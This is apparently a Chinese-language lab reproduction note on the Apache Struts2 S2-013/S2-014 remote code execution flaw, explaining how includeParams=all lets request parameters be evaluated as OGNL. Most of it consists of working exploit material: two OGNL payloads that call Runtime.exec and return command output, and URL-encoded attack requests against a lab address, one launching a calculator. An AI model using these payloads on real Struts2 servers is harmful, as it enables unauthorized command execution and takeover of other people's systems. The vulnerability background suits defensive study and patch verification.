S2-013/S2-014 远程代码执行漏洞

S2-013/S2-014 远程代码执行漏洞

受影响的版本:2.0.0 - 2.3.14.1

细节:

参考

Struts2 的标签<s:a><s:url>提供了一个 includeParams 属性。该属性的主要作用域是了解是否包含 http 请求参数。

includeParams 的允许值为:

  1. none - 在 URL 中不包含任何参数(默认)
  2. get - 在 URL 中仅包含 GET 参数
  3. all - 在 URL 中包含 GET 和 POST 参数

当 时includeParams=all,这个请求的 GET 和 POST 参数放在 URL 的 GET 参数上。在此过程中,参数将被 OGNL 表达式解析。它导致命令执行。

远程代码执行POC:

1
2
3
4
5
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

漏洞复现

paylaod例子:

1
http://192.168.44.132:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

image-20220210105446433

S2-014 是对 S2-013 的更正。因为当 S2-013 被修复时,OGNL 表达式的执行方法如 ${ognl_exp} 被忽略了,而 S2-014 是它的增强补丁。

1
http://192.168.44.132:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
0%